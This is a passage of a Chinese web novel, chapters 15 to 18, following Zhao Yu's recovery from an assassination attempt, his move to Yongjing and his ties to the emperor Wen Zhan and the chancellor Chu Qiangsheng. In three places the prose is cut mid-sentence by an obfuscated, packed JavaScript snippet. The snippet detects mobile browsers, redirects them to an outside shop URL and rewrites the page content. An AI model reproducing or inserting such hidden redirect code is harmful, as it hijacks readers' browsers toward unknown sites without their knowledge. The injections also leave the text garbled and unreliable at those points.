赵毓浑浑噩噩的不知道过了多久,似乎感觉到屋子中亮了又暗,暗了又亮。他睡睡醒醒的,吃了很多汤药,最后,不知道被谁把嘴巴中还塞了几片老人参的薄片,一口又甜又苦的味道。 终于,他睁开眼睛,天也不旋了,地也不转了。 一只手在他额头上探了探,“醒了?” 赵毓眼前是文湛,憔悴的如同一只丧家之犬。 “死不了。” 他说着,居然还笑了,就像依然是很多年前毓正宫那个最明媚的少年。 这些天,崔珩已经把善后的事情全部处理完。那些死去的人的家人得到抚恤,洪丁留下的铺面和生意已经是空壳子,可也需要仔细盘点筛查,即使一无所获,却可以存档,以备将来不时之需。 “那个人不姓洪,他姓浑,名字应该是撒怜丁。”赵毓对崔珩说,“他是西疆沙州或者是瓜州或者是肃州人,具体哪里我也不太清楚,但是我和他有过一面之缘。当年那我就在敦煌,……” 外面有人挑起帘子,文湛走进来,崔珩连忙起身,以君臣之礼跪了。 这个人就是有本事,他可以在背后将皇帝骂成狼崽子,但是当面的时候绝对没有丝毫僭越的地方,即使是最严苛的御史言官也无法挑剔出他在御前有任何毛病。 赵毓等他起来,被重新允许坐在床边的椅子上,这才接着说,“这个浑·撒怜丁应该是那一带的地头蛇,手中有私兵。当时他们从西疆十六国向中原贩卖女奴,我看他们实在不像话,就从他们手中抢过一些波斯舞女,那些女孩子有些才十三四岁,就被迫做皮|肉|生意。 有一次,我和那个撒怜丁同样驻扎在敦煌外,我们救过的一个波斯女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728873|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子懂那边的地势,是她告诉我,那一年春天圣山融雪会引发大洪水,这样的洪水几乎是二十年一次,并且洪水应该会顺着早就被黄沙掩埋的河道流淌,所到之处必然会导致灾难。 当时我们驻扎的地方就是那条河道,我听那个姑娘的话,就撤走了,而那个浑什么的撒怜丁不知道这些事情,他依然还是在河道上驻扎,结果,洪水半夜来了,浪头有一丈高,直接把他们全部淹死。我当时以为他早死了,没想到他倒是逃过一劫。” 崔珩眼角余光扫了扫文湛,他发现皇帝给赵毓递过去一个瓷碗,里面盛着加了鸡肉茸的米粥。 赵毓捧着瓷碗,用勺子搅了搅,继续说,“那天早上,我听见那个过来想要套我的闫捕快说,洪家妻女俱亡,让我跟他去衙门一趟,其实当时我挺想去的,结果他旁边的一个小捕快用我们约定好的暗号示意我快逃,我就躲进自己屋子中的地道中,随后,那个姓闫的估计是猜出我没跑,这才纵火烧的房子。我估摸着,刚开始他们可能想要骗我去衙门,结果见我没上钩,他们才下了杀手。对了,那个洪家母女怎么样?” “死了。”崔珩平淡着说,“真的都死了。” 赵毓吃粥的勺子就是一顿,“都死了?” “死绝了。”崔珩说,“那个母亲是大郑西疆的边民,她的女儿是她和洪丁生的唯一的孩子,结果这娘俩都死了。你绝对,这事是那个洪丁做的吗?” “如果是,那我们可真有大麻烦了。”赵毓说。 “怎么?” 赵毓,“为了套我,妻女尽可杀,他已经不能算是个人了。我对付这样的畜生,有些吃力。” “也对。”崔珩点头。 赵毓拍了拍他的肩膀,“哥哥,还是你想办法吧。” 崔珩一挑眉,“怎么是我?” 赵毓,“你是衣冠禽兽,比禽兽更加禽兽。” …… 崔珩走后,文湛坐在床边,他看着赵毓吃米粥。 赵毓的脸颊上光洁如初,没有留下红印,但是他做错了,必须道歉。 “对不起。” “很不安是吗?” 他怕失去,一听到他遇刺的消息,堂堂帝王竟然仓惶到无法自制。 “是,很不安。我不像你,……” “我也不安。”赵毓说,“我不知道老天究竟给了我们多少姻缘。不过,在一切结束之前,我会把每一天当成最后一天。” …… 赵格非很久没有见过她亲爹,等到她终于见到他的时候,她发现自己有很多话想问,却不知道怎么问。 “亲爹,您是不是还有小事情没有告诉我,……,比如,六叔?” “等你长大一些,我再说。” “多大才算长大。” “等你见识了足够多的死亡和背叛。” “好吧,不过,亲爹,您好像从来没有想让我嫁给王公贵族,虽然你认识很多这样的人。” “就是因为认识他们,我才知道他们背后的事情。说实话,能在雍京混的有名有姓的人都是禽兽,即使是华服罩身也都是衣冠禽兽。” “那您也是吗?” “也许不是,所以我才是草民赵毓。” “也许?……” “嗯,有的时候,我自己也看不清楚自己。” 16. 16 16 文湛不可能长时间在冉庄,等赵毓好一些了,他立刻回了雍京,而能下床能骑马的赵毓则同崔珩回到他原先那个小院子清点东西。 崔珩看着这里,啧啧出声,“你真是属耗子的,能打洞。” 这里的房屋已经烧塌,地下那些四通八达的地道却依旧安然无缺。赵毓另外挖的那些冬天放萝卜白菜,夏天放金银财宝的菜窖也安然渡过劫难。菜窖中的一箱子一箱子宝贝被抬出,其中一口木箱看着不大,一个人搬着有些吃力。 崔珩,“这是啥?” 赵毓,“银子。” 崔珩,“你的?” 赵毓,“不是,是我小舅子从云中带回来的好东西。哦,忘记了,其中还有你的一份。” 崔珩眼眉一挑,“放在你这里,……,不会那位知道了吧。” 赵毓,“我小舅子命好,当时他从云中来的时候,文湛就在我这里。这些东西都是当着他的面放在我这里的,人家还清点了清点,就是这样,你们才没事的。你想想,这要是文湛的缇骑探知到的消息,密报给他知道,而你们之间也不可能坦诚,那么这件事情不知道最后要成个什么样子。轻一些,估计就认为你收钱,重一些,肯定说你私自结交藩镇。” 崔珩听着点头,“这件事就当我什么都不知道。你这些东西都抬到我那里放着,接下来你准备怎么办,在这边焦土上直接盖房子?” “平了吧。”赵毓摇头,“出了这么大的动静,这个地方不能再住。” 崔珩点头,“也是。对了,你给我那个牛皮袋子里面的东西很重要,等我查清楚再告诉你。” 赵格非端着药汤进屋,发现她亲爹难得端正坐在花梨木大案前面,眉头还微微皱着,一脸的肃穆。 “亲爹,该吃药了。” “不吃,苦死了。” “给你加了蜂蜜了,喏,还有蜜饯。” “呃……” “亲爹,您伤没有好,药不能停啊。” “唔,……” 赵毓没辙,端起来茶盏一样的药碗,像喝鸩酒一样一脸苦涩的吞下去,——果然加了蜂蜜,一下子,酸甜苦辣咸,似乎五味俱全,还不如不加蜂蜜只有苦味呢。吞了药汤,他塞了五颗蜜饯都压不下去。 赵格非看着大案,这上面是胡乱铺开,好像叶子牌一样的房契。 她随意翻动翻动,发现这些房契大部分全在雍京,并且大部分在雍京北城。 虽然她常年住在云中,但是这些事情她还是很明白的,雍京地价贵,贵的离谱,而雍京北城则不能单单说昂贵了。 雍京北城依山靠水,风水上佳。 王公显贵们就是削尖了脑袋也要往这里挤。一般来说,同样的银钱在这里仅仅够一个小四合院,可是到了南城,没准就能圈下大片土地开庄园。 大郑王朝,四位在京的亲王,十几位郡王,内阁几位阁臣,六部的尚书,都察院的几位都御史,大理寺卿,外加一些外省藩镇、封疆大吏在雍京的宅邸,等等,诸公的府邸俱在北城。 这里比皇城稍微大一圈。 雍京北城充满了那些能够进大正宫微音殿的人,也充满那些发生在微音殿的事儿。 民间官场都有俗语,在北城,如果不是入阁封疆的大员,没有披着紫蟒,见面最好不要同人随便打招呼,不然,除了叩头行礼回避之外,没什么能做的。一块青砖从天而降,砸死十个人,一定有七个是一品二品的大员,剩下的那三个估计就是皇亲国戚。 赵格非外公有着’西北王’的诨号也只是在雍京北城置办了一个还算合心意的宅院,她眼前这铺满了木案的房契真的让人耀花了双眼。 赵毓喝完药,继续看。 他铺开着一张雍京地图,对照着房契的地址拿着一根饱蘸了朱砂的毛笔在地图上勾勾画画。他手边还有一根紫竹尺,比对着这些他标红地名的距离。 尹府……尹桂宝儿在这里住。 宁淮侯府……崔珩公务在身,不能常住冉庄,应该常住侯府。 大本堂……文湛做东宫时候的读书院,没有改成祭祀的皇家寺庙,现在是小行宫。 必须找到一个地方,距离这三处都不远。 于是,纵横交错的红线,最终有一个汇聚点,——空空园。 赵毓合上地图,把那些房契都放回一个包裹着铁皮的黑檀木的盒子中,上了锁,放进一个黑檀木的小箱子中,随后放在一个黑檀木的大箱子中。 “闺女,收拾行李。” “做什么?” “搬家。” “去哪?” “回雍京。” 赵格非注意她爹用了一个字,在雍京前面,——回。似乎,那里才是真正属于他的地方。 他们到雍京,已经是暮春了。 空空园,实物如其名,空的一无所有。 简简单单的一个小四合院,周围是房子,正中是院子,种着桂花树和蔷薇。 回廊柱子上挂着楹联,——傍百年树,读万卷书。 正房上面挂着一块匾额,黑檀木的底子,写着两个大字,——空空。 这两个字带着说不出的风流,妍媚纤柔,内中却是山石刀刃般的风骨。 赵格非喜欢临摹字帖,于是只扫了一眼就知道这两个字的来历,它们必然出自当代书法大家,左相楚蔷生之手。 父女两人打扫了一天,赵毓刚把地板擦的一尘不染,外面就有访客。 一位文士。 他身上是暗褐色的长衫,身后一个小厮,拎着一个食盒。 此时,他就站在盛开的蔷薇花丛前。 赵毓一见来人,连忙迎出来,又觉得自己手脏,于是在院子中的水桶中把爪子洗刷干净这才过去,一把抓住来人的双手,摩挲了好一会儿才放松,来人也不恼。 赵毓,“你怎么来了?” 来人,“我家就在邻近,知道你回来,过来看看。这里有我家老闵做的几道小菜,算是给你暖灶。” 小厮连忙打开食盒,里面是四个碟子。 炒玉兰片,炒笋,梅汁番茄,还有一碟山菌,另外一壶淡味桂花酒。 那人问赵毓,“能吃的下吗,不然我给你另外再叫一坛瓦罐牛肉?” 赵毓笑着说,“不用,不用,我吃的下,都吃的下!哈哈,就算你给我吃刀子我都吃,就别说这些淡的吃了能修炼成仙儿的好东西了。” 赵格非站在屋檐下,没过来。 那个人一见她有些意外,问赵毓,“这位是?” “我闺女,格非。” “哦,原来是赵府女公子。”那人问赵毓,“女公子能见外人?” 不管怎么说赵格非也是名门闺秀,一般来说她不应该轻易见人,尤其是轻易见不认识的男人。只不过赵毓自己活的有些一塌糊涂,他的女儿自然没有按照云中闺秀那样教养了。 赵毓笑道,“你不是外人。” 那人,“那我是内人?” 赵毓笑的更开了,像个呲牙爆花,却没有接话茬。 他对赵格非说,“闺女,这是你亲爹我的,……”说到这里,赵毓顿了一下,他仔细想了想,才说,“说我们是知己,其实谈不上,因为你爹我肚子里面那点墨水,跟人家一比简直就是一个笔洗的水面对整条镐水。估计人家看我就跟看猪马牛羊一样,没啥区别。只不过,我们的确比所谓的什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728874|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么知己亲,说白了,以后就算我蹬了腿,估计把你托付给他,他一定会把照顾的很好。” 那人不说话,只是安静的看着赵毓,一双文秀的眼睛中有些流光。 赵毓对格非说,“他姓楚,当年是我的老师,现在是我的亲人。所以,闺女看你,你是想要称呼他为楚叔叔还是楚师公,你自己决定。” 闻言,赵格非走过来,很恭恭敬敬的施礼,“左相大人。” 那人也还了礼。 赵毓有些惊讶于赵格非的目光如炬,“闺女,你怎么知道他是楚蔷生?” 赵格非,“咱们正房挂着左相大人的字,父亲难道不知道,左相大人的字万金难求?坊间都知道,左相大人的字只写在内阁条陈上,其他人,无论手捧多少银钱拜托多少好友对于左相大人一幅墨宝也不可得。既然咱们的园子中有左相大人的字,那么他自然同父亲是好友。今日见面,您又说他姓楚,女儿猜想,必然是左相大人。” 赵毓很多年没在雍京,他对于书墨这些事情原本也不太感兴趣。 “既然楚相的字如此宝贵,闺女,快,研磨铺纸,等左相大人吃饱喝足了给咱们挥毫洒墨一番,你我从现在到今年年底的饭辙都齐活了。” 赵格非只当她亲爹又开始胡闹,也不说话,就拎着食盒到蔷薇后面的凉亭,将饭桌布置好了,让他们两个进来吃菜喝酒,她自己则说,“我不打扰父亲与老朋友喝酒,我去看看我舅。” 赵毓点头,“骑马过去,看看他就得了,早去早回。” 楚蔷生将他带来的小厮也打发了,整个院子就他们两个。 楚蔷生拎着酒壶,刚想要倒酒,忽然问,“伤都好了?” 赵毓有些意外,“你怎么知道?” 楚蔷生不搭话。 赵毓忽然乐了,“又是个什么都知道的。” “当时圣上在微音殿议事,有人在他耳边轻语,他脸色都变了,走的异常匆忙,甚至连衣袍都没有换下来。别人不明白那些事,我能不明白吗?” 赵毓点头,“对,那天把他吓的够呛。我没事了,就是伤口还有些痒,应该长新肉了。” “那就别喝酒了。” 楚蔷生要给自己倒酒,赵毓拿过他手中的酒壶。 “自己给自己倒酒太清寡,我给你倒酒。” 楚蔷生,“咱们,有多少年没见了?” 赵毓仔细想了想,“七八年了吧,上次见到你还是先帝驾崩,我回雍京奔丧的时候。” 楚蔷生,“好快。” 赵毓点头,“可不是?” 楚蔷生想要问问赵毓,问他这些年过的好不好,但是他开不了口。 他发现这个人变了,变得爱笑了。他当年也爱笑,但是那是被娇宠的肆无忌惮的笑,现在的赵毓,笑的像暮春初夏的夜,丝柔轻薄,带着凉凉的温暖。 这些年他都经历过什么? 才能使当年千娇玉贵的金枝玉叶变成一棵生在在顽石边缘的树? 赵毓给楚蔷生倒一杯酒,他喝一杯。摆着的菜很清淡,酒也清淡,只是再清淡的酒,喝多了,也会醉。 “我心里有你。”楚蔷生忽然说,“这不犯大郑国法。”可是,却是犯了主子的家法。 赵毓听着,微微点了点头,“我知道,你对我说过,我记得。” 楚蔷生,“我说过?” “……嗯,……”赵毓又点了点头。 “十几年了,我都忘了自己说过了。” “只是,……,不能为你做什么,也不能给你回应。我对你也不好。” 楚蔷生忽然笑了,“你好好活着,就是对我好了。” 此时,就像蔷薇初绽。 17. 17 17 楚蔷生原本以为自己此一生不会再有任何柔软的情感。 十年萤雪,多年宦海。 他自己从登龙虎榜那一刻起,就知道自己走的是一条到刀丛遍地的路,但是他甘之如饴,他知道自己会到达彼岸,那里有明君圣主托付国政,有位极人臣的权势,有自己全部的政治理想,还有,高处不胜寒的静寂。 但是,千算万算,老天还有一算,他没有想过,自己会遇到赵毓。 当时,赵毓在毓正宫读书,楚蔷生是他的侍读学士。 赵毓不好好看书,自己打他的手心,他还用裹了纱布的手给自己剥荔枝吃。那是从岭南用兵部的勘合送过来的珍品,就被赵毓费力的一片一片剥开了血红色的皮,喂到自己嘴中,馥郁的味道是自己从来没有品尝过的甘甜。 自己只是一个家世背景都不够清白的农家子弟,而赵毓曾经是大郑的天潢贵胄、先皇掌心中的骄纵,他从来没有奢望可以攀折那只皇室金枝玉叶。他只是觉得,可以喜欢上他,就是一件很美好的事情。 夜幕垂下。 赵毓起身,扶住了楚蔷生,“我送你回去。” “我没醉,能走。” 楚蔷生知道自己没醉到人事不省,但是他还是醉了,如果没有醉,他不会说那些话,死也不会说。 “走吧,我送你。” 赵毓的手臂穿过楚蔷生的后背,直接将他架起来。 楚府果然不远,走出兰叶巷,向东一拐,一座真正坐北朝南的巍峨府邸,就是楚蔷生现在住的地方。 方才一起送菜来的小厮就等候在正门,一看见他们过来,连忙过来搀扶楚蔷生。 “以后就是邻居了,还请左相大人多照顾照顾哦。”赵毓临走之前,还装模作样的深辑一礼。 “好。”楚蔷生居然也学着他的样子还礼,吓坏了楚府那些不知情的下人们。 赵格非到了尹府,门房看见她过来感觉异常惊讶。 门房嘴巴张的像是含了一粒鸡蛋,“姑娘,您怎么过来了?” 赵格非将马的缰绳递给他,“我爹和我以后搬到雍京住,就在前面的兰叶巷,离这里不远,过来告诉大家一声。” 门房接过,却看看她的身后,“姑爷也到雍京了?” 赵格非,“对啊。” 门房,“姑爷呢,他没过来?” 赵格非,“我爹遇到好朋友在家喝酒,我过来看看我舅,他人呢?” 门房,“大少爷正在屋子中与朋友一起读书。” 赵格非奇怪,“我舅什么时候变得这么老实了?” 门房,“姑爷来信管教大少爷,说最近外面风水不好让他安心在家读书,不要四处乱晃。” 赵格非继续奇怪,“我舅怎么了,他听我爹的话?” “听。”门房点头,“现在姑爷讲话最灵,姑爷说什么大少爷都听,比老爷的话还管用呢!” 赵格非带着巨大的疑问走到后宅。她发现他舅舅尹桂宝儿正在与朋友在一起,喝酒,……,呃,算是读书吧。他们把书本摊开,放在桌面上,一边喝酒一边胡乱看一样,也算一种苦读。至少,看书就比不看书强。不管怎么说,她舅舅好歹没有出去乱晃,估计亲爹的管教就有效。毕竟谁也没想着把他舅这个不学无术的纨绔管教成圣人面前的乖巧学生,以后出将入相,为官做宰。 “花骨朵儿,你怎么来了?”尹桂宝儿看见她一惊,“我姐夫也来了?”随后,他连忙轰那些狐朋狗友,“快,快走,我姐夫来了。” 一位身穿湖蓝色布衫的学子对尹徵说,“既然令姐夫过来,我就过去道声谢,毕竟当时是他在雍王别苑下水救了我。” “纪载,你就别去了,我估计我姐夫连你是谁都记不住。”尹桂宝儿连忙摇头,“你别看他救人的时候好像很和善,其实我姐夫是块石头。当时人命关天,他肯定救,过后,他未必希望和你有什么关联。没事啊,别惦记着,我姐夫做过的好事多了,你这档子事都不算啥。你也快走吧,改天咱们去天兴居吃炒肝啊!” 于是,那位名叫纪载的人也拱手告辞。 赵格非见人走了,才摇头说,“我亲爹没跟来。舅,我爹让我过来跟你说一声,以后我们就搬到雍京了,就住在前面的兰叶巷,离的近,他好看着你读书。” “啥?!!!!……” 尹桂宝儿见赵格非说完就要走,连忙过来扯住她,“别走!花骨朵儿,我一个人在这里住了好久了,怪无聊的,你今晚上留在我这里吧。我让老三他们给你做荞麦面窝窝吃。” 赵格非见尹桂宝儿将他那些狐朋狗友也送走了,一想着自己回去也没有饭吃,索性留下,于是打发个人回家跟他爹说一声。 赵毓回家,发现门外等候着尹家的一个门童。 “姑爷,大小姐说今晚留在少爷那里。厨房给他们做老家的窝窝吃,还说晚上给您送过来一笼屉。” 赵格非从小在云中长大,爱吃那些东西。 赵毓一摆手,“你让他们自己吃吧,我胃口不好,吃不了那些。还有,回去让大少爷晚上再抄一篇书再睡觉,吃那么多硬菜,不看书,小心积食。” 门童领了吩咐,连忙回去了。 赵毓进院,发现文湛已经来了,身上是一身深褐色的长衫,像个翰林学子一般安静就坐在亭子中喝茶,而黄枞菖正在一脸贤惠的洗刷盘子,见他回来,马上活灵活现的扑过来。 “祖宗,以后您就住雍京了,这简直是太好了!我看您这个院子也挺好的,我帮您把屋子里面的家具擦了擦,换了新的被褥。对了,这几个碟子可真好,和大内用的官窑瓷不是一回事。您看看,这釉料,这颜色,这工艺,这是景德镇那边的一个特别有名的老艺人做的,那些文人墨客都爱用,现在是一碗难求,您看看,这一道灰多像是远山峰峦?我听说,这套瓷器整个雍京就没几套,全在那些清流望族手中,您从哪儿淘换来的?” 赵毓刚才根本没有注意到这些灰不溜秋的碟子有多美,“这是楚蔷生的。” “哦哦哦!”黄枞菖连忙点头,“主子和我早来了,看见您有客人,我们就没进来,没想到客人是楚阁老。我们在外面转了转。方才回来的时候我们却发现院子里没人,想着您送客人去了。” 黄枞菖说完,又活灵活现的去挑水了,他想着将厨房里面的水缸挑满了,就不用赵毓自己动手了。 赵毓到亭子这边,坐在文湛对面。 “其实你们刚才应该进来。这里是北城,能进出微音殿的人都在这里住,碰到一些平时不想见又不得不见的出了大正宫又偶然遇到的人,多麻烦?” “你有客人。”文湛说着拿着紫砂壶给赵毓倒了水。 感觉不太对劲。 赵毓,“你们,什么时候来的?” 文湛,“方才,我一进来就听见他和你说话。” “……”赵毓,“说的哪一句?” 文湛,“他说,他心里有你。” 赵毓,“……” 文湛又给自己倒了一杯茶水,“不要那样看着我,我又不是气量狭小的男人。他楚蔷生宰相腹中能撑船,作为他的主君,我的肚腹中怎么也要有一整个运河码头吧。” 他自斟自饮了一杯。 “人活着都要有个念想儿,既然你与他已经无缘了,留个念想儿,没事想想就想想吧。” 赵毓端着文湛给倒的茶水,抿了一口,就吐了。 “这茶水冲了第几遍了?” 喝茶有些讲究,第一遍水用来洗茶,第二遍第三遍可以喝,第四遍之后就是刷锅水。文湛给他这茶水估计都有六七遍了。平时娇贵的茶水口味差一点点就不喝的文湛,今天倒是挺能忍,许是口渴极了导致的心不在焉? 咕噜噜,…… 赵毓肚子饿的开始叫了。 楚蔷生是神仙,他拿过来的那些东西凡人根本吃不饱。 “黄瓜,你看看咱们厨房还有什么能吃的?” 黄枞菖在厨房转了三圈,“祖宗,您这厨房比您荷包还干净。” “怎么话说的这是?”赵毓,“我现在不穷,哦,当然和你们没法比。不过一顿夜宵还是请得起的,走吧,我很久没回雍京,也到处走走,熟悉熟悉路。” 黄枞菖,“祖宗,我就不去了,我最近念经,过午不食。” 赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728875|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毓问文湛,“那你,……” “可以。”文湛点头,说着就要起身。 赵毓按住他的肩膀让他坐了回去,“你先等会儿,我得去换身衣服。刚才擦地来着,弄的身上都是泥点子。” 黄枞菖连忙跟过去,帮他换衣服。 “祖宗,刚才主子说不在意楚相那话,那纯粹就是走坟地唱小曲,自己给自己壮胆。楚阁老那是什么人才啊,雍京城第一风流!人家那文章写的,那叫一个花团锦簌,下笔如刀。人家那字也是真好,现在谁不知道左相大人是当世书法大家,凡是他写的条陈,我们司礼监全部给拓印下来,就为了给孩子们练字用。之前姆们都以为楚阁老是块冰呢,谁想到,他还有那个心?” 赵毓系好了腰带,转身看着他。 黄枞菖连忙闭嘴了。 尹家的厨子都是云中带来的,做的云中老家才非常地道。 赵格非也是许久没吃,所以当一笼屉荞麦面小窝窝上桌,配上辣椒炒的肉丁豆角香干,她吃起来异常香甜。 “舅,没想到您现在还真挺老实。我爹说不让你出去,你就真不出去了。” “其实,也不全是姐夫淫|威过重,我也是觉得我还是不要出去惹事比较好。”尹桂宝儿吃了第二个窝窝了,“花骨朵儿,你不知道,原来我以为自己是云中第一纨绔子弟,什么花样都玩过,结果到了雍京,发现根本不是那么回事。上次我在雍王别苑就差点吃了大亏,要不是姐夫,……” 他连忙闭嘴。 当时的事情,怎么着也不能说给赵格非听。 “总之,我也知道姐夫也是为了我好。” “雍王?”赵格非再是闺阁千金,身在云中,孤陋寡闻,也听说过这位亲王,“他很有权势的,你们还能进他的别苑?” 尹桂宝儿,“也是朋友的朋友带过去的。说实话,咱们跟人家那是连个边都沾不上。” 赵格非,“我听说,这位雍王是圣上,……”说到这里,她忽然想到了那天看到的六叔身上的黑色缂丝龙袍,不过想法也是一闪而过,“当今圣上的亲弟弟。” “不是亲弟弟,胜似亲弟弟。”尹桂宝儿马上把这些天在雍京城知道的事情向赵格非显摆一下,“先帝子嗣凋零,一共七个儿子,活着封亲王的,只有雍王越筝。” 这个赵格非到真的不知道,“其他的皇子们呢?” 尹桂宝儿吞了荞麦面窝窝,开始逐个说皇室兄弟阋墙,同室操戈的往事。 “当年皇长子祈王,权倾天下,宠冠诸王!可惜,临了据说不是先帝骨血,被褫夺王爵,废为庶人。现在是生是死,人们都不清楚了。估计,坟头上的草都有三丈高了。” “皇次子宁王,在先皇病重的时候率领大军入京勤王,结果,还没有过雍京城外的镐水就被定国公裴檀斩落马下,先帝降旨废除亲王爵位,死后不能进皇陵祖坟。” “皇三子嘉王,那是凤化朝内阁宰辅的外孙,结果被卷入谋|逆大案,先帝赐了毒酒,他的王妃身怀六甲已经回了娘家,结果那娘家哥哥怕被牵连,亲手绞死了王妃和她肚子里面的孩子。” “皇四子宫变,连王爵都没有呢,就死了。” “皇五子死于后宫。” “皇六子就是当年的东宫太子,当今天子。他是先帝嫡子,先皇后唯一的儿子,一出生就正了名分。他命好。我估摸着这肯定是先帝和先皇后都护着。他登基的时候才十九岁,就比我大一岁。就算外面传的他再天资聪慧,也不过那么点岁数,能聪慧到哪儿去?” “最后一位,就是皇七子雍王越筝。他的母亲裴贵妃是先皇后庶妹,所以和皇帝走的特别近,也很受宠爱,现在先帝的儿子们就剩下他们两个了,所以才说这位雍王不是皇帝的亲弟弟,但胜似皇帝的亲弟弟。” 尹桂宝儿说完,还摇头叹气,“愿不得戏文里面都说,不愿生在帝王家。忒惨。” 赵毓忽然打了一个喷嚏,他拧了拧鼻子,——是谁在念叨我? 纪载从尹桂宝儿家中出来,见左右无人,连忙向西快走,不一会儿到了一辆马车边,他走上前,对着马车里面的人说,“请禀告石小侯爷,尹徵的姐夫来了雍京。” 18. 18 18 赵毓让黄枞菖给他们把马牵过来。 “北城这里都是熟人,不是说怕见他们,而是见了面挺没劲了。文湛,我带你去一个小酒馆,老板娘是个风趣人。” 他们骑马去了南城。 雍京南城是与北城完全不一样的地方,这里繁华热闹,龙蛇混杂。 城南河边有一个小酒馆,并排木头扎的一个木门,高度也就到一个人的腰间,推开,是十几张木桌,每个小桌旁边围着几把椅子。 他们下马,赵毓将两匹马栓在栅栏外面。 前面是灶台,挂着酒幌子,在往西边一点则挂着一幅对联。上联是“爱来不来”,下联是“爱吃不吃”,横批“好走不送”。这里有两个露天的灶台,一锅炖肉一锅炖菜,两个妇人戴着围裙光着手臂忙前忙后。 赵毓找了柳树下面的一张桌子,四周还有空桌子,刚好清净。 其中一位见赵毓他们过来,挺了挺肚子,把腰上的围裙解下来扔到一旁,走到赵毓面前,粗声粗气的问,“有日子没来了,你们吃点啥?” “老板娘,两壶蜜酒,一碟子牛肉,一碟子菜。” “好哩,对了,你们姑娘怎么没有过来?咦,你又把马栓住了,还是那句话,你看你们都饿了那马不饿吗?松开缰绳让它们在那边吃草喝水!” “我姑娘去她舅家了,还有,我的马来之前已经吃饱喝足了,再吃,我怕它一会儿给它吃消食丸了。” 文湛看了看对赵毓说,“只有牛肉和菜感觉单薄了些,要不要再加点什么?” “没有,没有!” 那位雄壮的老板娘一手拎着两个泥壶,上面搭着一根麻绳,挂着两个酒碗,而她另外一只手臂上架着装着牛肉的碟子,肉块切的极其虎狼,片大肥厚,热气腾腾。老板娘的肉掌上海支着三个粗碗,里面是辣椒、卵蒜、红果醋。最后放过来一个大碗,里面是炖的杂菜,最后则是一个盘子,香葱芫荽切的细细的,堆成一个小山。 砰!砰!!砰!!! 老板娘将这些东西放好,粗声粗气的对赵毓说,“你常来,知道老娘这里只有牛肉和自己酿的兑水的蜜酒。最近才支锅炖了些菜,来了就吃这些,别乱点菜!” 文湛平时话就不多,说话声音也不高,似乎说话声音高一些多说一句话就能累着他。此时,他见这里的老板娘极泼辣,为人市井风气十足,他不习惯,但是看在身边是赵毓的份上,他就什么都不说了。这里酒菜的口味过于浓重,也不是他平时爱吃的东西,他吃了一口,就想要放下筷子,只是面前碗里是赵毓夹过来的菜,已经用清水涮了一遍,再入口,味道清新多了。 “楚蔷生的事你又不是不知道,为什么那么在意,到现在还心神不宁的。” “我没有心神不宁。” “你刚才吃的是什么?” 被赵毓这样一问,文湛一愣,他还真没有注意,似乎味道绵软,想来应该是鱼肉,于是他回答,“鱼。” 赵毓摇头,“是你最不爱吃的茄子,那是我给自己涮的菜,你的菜是这一碗。”说着,他将手边的一个碗向前推了推。 文湛果然看见另外还有一碗,被清水涮的更仔细。赵毓怕味道不是很好,还些微放了一些他爱吃的清酱汁子调味。 赵毓,“这瓶汁子是黄瓜从酒醋面局里面拿出来的,怕以后你在我那里吃饭吃的不习惯,提前预备着的东西。” 文湛放下筷子。 赵毓,“你觉得我是一个别人对我有心,我马上对别人有情的大好人吗?” 文湛没说话。 赵毓,“你喊了我那么多年的没心没肺的白眼狼,岂不是冤枉我?” 还是没有回答。 赵毓微微叹口气,“其实,今天我想和你说说绮罗的事。 我知道你不想听,可是这么多年过去了,这些都压在心中,本来没有很复杂的事情被人的臆想变得面目全非。 前段时日你对我说尹明扬为了自己避祸而将女儿嫁给我,而当时我娘让我娶她也为了尹明扬一方诸侯的势力。 那个时候内阁被杜皬杜元泽父子把持,内阁对崔珩下死手,他被押在诏狱动了大刑。我们没有援手,又绝对不能让崔珩死,我娘就把我的婚事拿出来做交易。而尹明扬显然也是觉得把女儿嫁给当年的皇长子亲王对于他来说也是好事,至少可以让先皇在处置何晋在敦煌滥杀无辜的时候手下容情。 说白了,这些算计在雍京城就跟吃饭喝水一样,如果他尹明扬当年没有这些算计,我才觉得诡异。” 文湛还是沉默,只是极认真的看着他。 赵毓,“如果尹明扬只想攀龙附凤,那么在我被褫夺王爵之后,他应该退婚,可是他没有。” 文湛听着微微冷笑,“他知道你的身份,当然不会退婚。” 赵毓,“我有什么身份?一介草民,罪臣之后,本身也是罪臣,永生不能出仕。 对于一位久镇边境的封疆大吏来说,让女儿嫁给一个永远不能再出头的罪臣和被皇帝降旨拿问御下不严之间,他应该怎么选择? 